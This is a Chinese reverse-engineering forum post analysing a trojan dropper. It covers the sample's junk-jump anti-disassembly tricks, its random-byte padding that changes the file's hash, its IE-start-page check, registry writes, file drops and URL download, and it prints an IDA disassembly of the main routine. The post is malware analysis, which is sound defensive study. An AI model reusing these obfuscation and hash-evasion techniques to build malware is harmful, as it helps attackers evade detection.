首页
社区
课程
招聘
[原创]一马调试分析之上篇(Droper分析)(调试版块处女贴)
发表于: 2012-2-22 23:36 10743

[原创]一马调试分析之上篇(Droper分析)(调试版块处女贴)

2012-2-22 23:36
10743

偶然得到一样本,小弟调了下,于是就有了小弟在调试版块这篇处女贴。
分析结果如下:
首先这个样本花指令挺多,效果还挺好,IDA及OD都被花了啊!
总结了下花指令如下,别看简单,其实效果真挺好!
结构类型一:
               jle ---------┓
                       ...             ┃
                       ...             ┃
                       jg  -----┓  ┃
                                  ┃  ┃
                     垃圾     ┃  ┃ 
         ┏--   jb效果更好 ┃  ┃
        ┃                  ←--┸--┛
        ┗--------------→

               jb  ---------┓
                  ...          ┃
                  ...          ┃
              jnb -----┓  ┃
                          ┃  ┃
               垃圾   ┃  ┃ 
                          ┃  ┃
                  ←----┸--┛

               js  ---------┓
               ...             ┃
               ...             ┃
               jns -----┓  ┃
                           ┃  ┃
               垃圾    ┃  ┃ 
                           ┃  ┃
                  ←-----┸-┛

               jp  ---------┓
               ...             ┃
               ...             ┃
               jnp -----┓ ┃
                           ┃  ┃
               垃圾    ┃  ┃ 
                          ┃  ┃
                  ←----┸--┛
            
     ┏------→       
     ┃
     ┗--------jbe
        
               jo  ---------┓
               ...             ┃
               ...             ┃
               jno -----┓ ┃
                           ┃  ┃
               垃圾    ┃  ┃ 
                           ┃  ┃
                  ←----┸--┛
               jle ---------┓
               ...             ┃
               ...             ┃
               jg  -----┓  ┃
                          ┃  ┃
               垃圾   ┃  ┃ 
┏-- 用enter效果也很好哦
┃                  ←--┸--┛
┗--------------→

小结在这种类型的花指令中再混合jb,enter,out效果挺好。

结构类型二:
push r
.....
.....
pop  r
结构2,没什么效果,主要是结构类型1,效果明显。
我们来总览下这个Droper的情况如下图所示:

好了开始分析吧,Droper没什么特别的,主要是花指令问题。
第一部分:setup.exe分析如下:
一点亮点:
往释放后的PE文件尾写入0x100个字节随机数,从而每次MD5值不同,实现每次都不同,为什么这么干?不解释,你懂的!

木马的主流程操作如下:
1、解密字符串;
2、判断IE浏览器的主页是否为about:blank或者是baidu.com或者是hao123.com、以此决定下载文件的网址(注册表查询HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main (Start Page))
3、写入选择的网址的索引号,HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\DateTime (Index)。
4、释放木马并运行,共释放3个文件,木马,两个用于清理的BAT文件。(运行调用的WINEXEC执行)。
5、检查驱动是否安装完毕。(CreateFile)
   5-1、如果驱动安装完毕,判断操作系统是否非WIN7。
  5-1-1、如果非WIN7,则从前面选择的网址进行下载。(看来小马无法支持WIN7的远程下载啊)

解密的字符串如下图所示:

主流程:

.text:004020B0 ; int __stdcall WndProc(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam)
.text:004020B0 WndProc         proc near               ; DATA XREF: RegisterWndClass+1Eo
.text:004020B0
.text:004020B0 szUrl0          = dword ptr -1Ch
.text:004020B0 szUrl1          = dword ptr -18h
.text:004020B0 szUrl2          = dword ptr -14h
.text:004020B0 szUrl3          = dword ptr -10h
.text:004020B0 szUrl4          = dword ptr -0Ch
.text:004020B0 pcbData         = dword ptr -8
.text:004020B0 pvData          = dword ptr -4
.text:004020B0 hWnd            = dword ptr  8
.text:004020B0 Msg             = dword ptr  0Ch
.text:004020B0 wParam          = dword ptr  10h
.text:004020B0 lParam          = dword ptr  14h
.text:004020B0
.text:004020B0                 push    ebp
.text:004020B1                 mov     ebp, esp
.text:004020B3                 sub     esp, 1Ch
.text:004020B6                 mov     eax, [ebp+Msg]
.text:004020B9                 push    ebx
.text:004020BA                 push    esi
.text:004020BB                 dec     eax
.text:004020BC                 push    edi
.text:004020BD                 jnz     loc_40227C
.text:004020C3                 call    DecryptStr
.text:004020C8                 push    edx
.text:004020C9                 or      dx, si
.text:004020CC                 dec     dh
.text:004020CE                 sub     dx, 5DECh
.text:004020D3                 pop     edx
.text:004020D4                 call    MakeSeed
.text:004020D9                 push    eax
.text:004020DA                 push    ebx
.text:004020DB                 push    esi
.text:004020DC                 sub     esi, eax
.text:004020DE                 cmp     ah, 68h
.text:004020E1                 and     esi, ebx
.text:004020E3                 dec     ebx
.text:004020E4                 or      al, 59h
.text:004020E6                 test    esi, 7690h
.text:004020EC                 pop     esi
.text:004020ED                 pop     ebx
.text:004020EE                 pop     eax
.text:004020EF                 lea     eax, [ebp+pcbData]
.text:004020F2                 push    eax             ; pcbData
.text:004020F3                 call    CheckIeMainPage
.text:004020F8                 add     esp, 4
.text:004020FB                 test    eax, eax
.text:004020FD                 jz      short loc_402149
.text:004020FF                 mov     [ebp+szUrl2], offset unk_4370DC
.text:00402106                 mov     [ebp+szUrl3], offset unk_4370FC
.text:0040210D                 mov     [ebp+szUrl4], offset unk_43711C
.text:00402114                 push    eax
.text:00402115                 push    ecx
.text:00402116                 xor     ax, ax
.text:00402119                 add     eax, ecx
.text:0040211B                 xor     cx, 1834h
.text:00402120                 cmp     ch, 2Eh
.text:00402123                 test    ch, 3Ah
.text:00402126                 test    esi, eax
.text:00402128                 and     eax, 711Dh
.text:0040212D                 inc     ecx
.text:0040212E                 xor     ax, bx
.text:00402131                 pop     ecx
.text:00402132                 pop     eax
.text:00402133                 call    _rand
.text:00402138                 cdq
.text:00402139                 mov     ecx, 3
.text:0040213E                 idiv    ecx
.text:00402140                 mov     [ebp+pvData], edx
.text:00402143                 mov     esi, [ebp+edx*4+szUrl2]
.text:00402147                 jmp     short loc_4021A7
.text:00402149 ; ---------------------------------------------------------------------------
.text:00402149
.text:00402149 loc_402149:                             ; CODE XREF: WndProc+4Dj
.text:00402149                 mov     [ebp+szUrl0], offset unk_43703C
.text:00402150                 mov     [ebp+szUrl1], offset unk_43705C
.text:00402157                 mov     [ebp+szUrl2], offset unk_43707C
.text:0040215E                 mov     [ebp+szUrl3], offset unk_43709C
.text:00402165                 mov     [ebp+szUrl4], offset unk_4370BC
.text:0040216C                 push    ecx
.text:0040216D                 inc     ecx
.text:0040216E                 cmp     cl, 15h
.text:00402171                 pop     ecx
.text:00402172                 call    _rand
.text:00402177                 cdq
.text:00402178                 mov     ecx, 5
.text:0040217D                 idiv    ecx
.text:0040217F                 mov     eax, [ebp+pcbData]
.text:00402182                 test    eax, eax
.text:00402184                 mov     [ebp+pvData], edx
.text:00402187                 jz      short loc_402190
.text:00402189                 mov     [ebp+pvData], 4
.text:00402190
.text:00402190 loc_402190:                             ; CODE XREF: WndProc+D7j
.text:00402190                 push    edi
.text:00402191                 test    di, 52AEh
.text:00402196                 cmp     di, cx
.text:00402199                 and     edi, 5FE0h
.text:0040219F                 pop     edi
.text:004021A0                 mov     edx, [ebp+pvData]
.text:004021A3                 mov     esi, [ebp+edx*4+szUrl0]
.text:004021A7
.text:004021A7 loc_4021A7:                             ; CODE XREF: WndProc+97j
.text:004021A7                 push    eax
.text:004021A8                 push    ecx
.text:004021A9                 inc     eax
.text:004021AA                 cmp     ecx, 420h
.text:004021B0                 mov     ecx, edx
.text:004021B2                 cmp     ah, dl
.text:004021B4                 and     ax, 0C72h
.text:004021B8                 xor     cl, bh
.text:004021BA                 cmp     cl, 6
.text:004021BD                 cmp     cl, 52h
.text:004021C0                 test    eax, 5F41h
.text:004021C5                 pop     ecx
.text:004021C6                 pop     eax
.text:004021C7                 lea     eax, [ebp+pvData]
.text:004021CA                 push    4               ; cbData
.text:004021CC                 push    eax             ; pvData
.text:004021CD                 push    4               ; dwType
.text:004021CF                 push    offset aZ       ; "z"
.text:004021D4                 push    offset aUfsu    ; "u鋺?
.text:004021D9                 push    80000002h       ; hkey
.text:004021DE                 call    ds:SHSetValueA
.text:004021E4                 push    eax
.text:004021E5                 push    ecx
.text:004021E6                 inc     eax
.text:004021E7                 cmp     ecx, 420h
.text:004021ED                 mov     ecx, edx
.text:004021EF                 cmp     ah, dl
.text:004021F1                 and     ax, 0C72h
.text:004021F5                 xor     cl, bh
.text:004021F7                 cmp     cl, 6
.text:004021FA                 cmp     cl, 52h
.text:004021FD                 test    eax, 5F41h
.text:00402202                 pop     ecx
.text:00402203                 pop     eax
.text:00402204                 call    ReleaseTrjan
.text:00402209                 push    ecx
.text:0040220A                 push    edx
.text:0040220B                 xor     ecx, 5F3Eh
.text:00402211                 and     ch, bl
.text:00402213                 and     cl, 3Ah
.text:00402216                 and     dh, 7
.text:00402219                 pop     edx
.text:0040221A                 pop     ecx
.text:0040221B                 push    0BB8h           ; dwMilliseconds
.text:00402220                 call    ds:Sleep
.text:00402226                 push    ebx
.text:00402227                 push    ecx
.text:00402228                 or      ch, ch
.text:0040222A                 test    cl, 46h
.text:0040222D                 pop     ecx
.text:0040222E                 pop     ebx
.text:0040222F                 call    CheckSysSetup
.text:00402234                 test    eax, eax
.text:00402236                 jnz     short loc_402268
.text:00402238                 push    ebx
.text:00402239                 push    ecx
.text:0040223A                 push    edi
.text:0040223B                 mov     cx, 6BB6h
.text:0040223F                 and     edi, 1239h
.text:00402245                 or      edi, eax
.text:00402247                 cmp     bx, ax
.text:0040224A                 inc     cx
.text:0040224C                 and     bx, 23D5h
.text:00402251                 cmp     ecx, eax
.text:00402253                 pop     edi
.text:00402254                 pop     ecx
.text:00402255                 pop     ebx
.text:00402256                 call    IsNotWin7
.text:0040225B                 test    eax, eax
.text:0040225D                 jz      short loc_402268
.text:0040225F                 push    esi             ; LPCSTR
.text:00402260                 call    UrlDownToFile
.text:00402265                 add     esp, 4
.text:00402268
.text:00402268 loc_402268:                             ; CODE XREF: WndProc+186j
.text:00402268                                         ; WndProc+1ADj
.text:00402268                 push    cx
.text:0040226A                 push    edi
.text:0040226B                 or      ch, bh
.text:0040226D                 dec     edi
.text:0040226E                 or      ch, 3
.text:00402271                 pop     edi
.text:00402272                 pop     cx
.text:00402274                 push    0               ; nExitCode
.text:00402276                 call    ds:PostQuitMessage
.text:0040227C
.text:0040227C loc_40227C:                             ; CODE XREF: WndProc+Dj
.text:0040227C                 mov     ecx, [ebp+lParam]
.text:0040227F                 mov     edx, [ebp+wParam]
.text:00402282                 mov     eax, [ebp+Msg]
.text:00402285                 push    ecx             ; lParam
.text:00402286                 mov     ecx, [ebp+hWnd]
.text:00402289                 push    edx             ; wParam
.text:0040228A                 push    eax             ; Msg
.text:0040228B                 push    ecx             ; hWnd
.text:0040228C                 call    ds:DefWindowProcA
.text:00402292                 pop     edi
.text:00402293                 pop     esi
.text:00402294                 pop     ebx
.text:00402295                 mov     esp, ebp
.text:00402297                 pop     ebp
.text:00402298                 retn    10h
.text:00402298 WndProc         endp

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

上传的附件:
收藏
免费 6
支持
分享
最新回复 (10)
雪    币: 34
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
下载下来看看 
2012-2-23 00:11
0
雪    币: 46
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
给力 分析   拷贝文件句柄 到explore  是什么意思呢? 要做什么~~
2012-2-23 09:29
0
雪    币: 1119
活跃值: (4192)
能力值: ( LV5,RANK:69 )
在线值:
发帖
回帖
粉丝
4
精华
可惜我还看不懂
2012-2-23 12:18
0
雪    币: 300
活跃值: (179)
能力值: ( LV7,RANK:100 )
在线值:
发帖
回帖
粉丝
5
啊,又见处女。见处女必顶!
2012-2-23 18:38
0
雪    币: 220
活跃值: (15)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
呵呵 不错的分析
2012-2-26 00:49
0
雪    币: 159
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
嗯 不错  期待下篇~
2012-2-26 11:54
0
雪    币: 217
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
呵呵 不错的分析
2012-2-28 11:34
0
雪    币: 292
活跃值: (347)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
占坑~
123456
2012-2-28 17:23
0
雪    币: 173
活跃值: (132)
能力值: ( LV7,RANK:100 )
在线值:
发帖
回帖
粉丝
10
提高操作权限
2012-2-29 09:41
0
雪    币: 193
活跃值: (64)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
11
直接被咔嚓了,不方便传播!
2012-2-29 20:51
0
游客
登录 | 注册 方可回帖
返回
//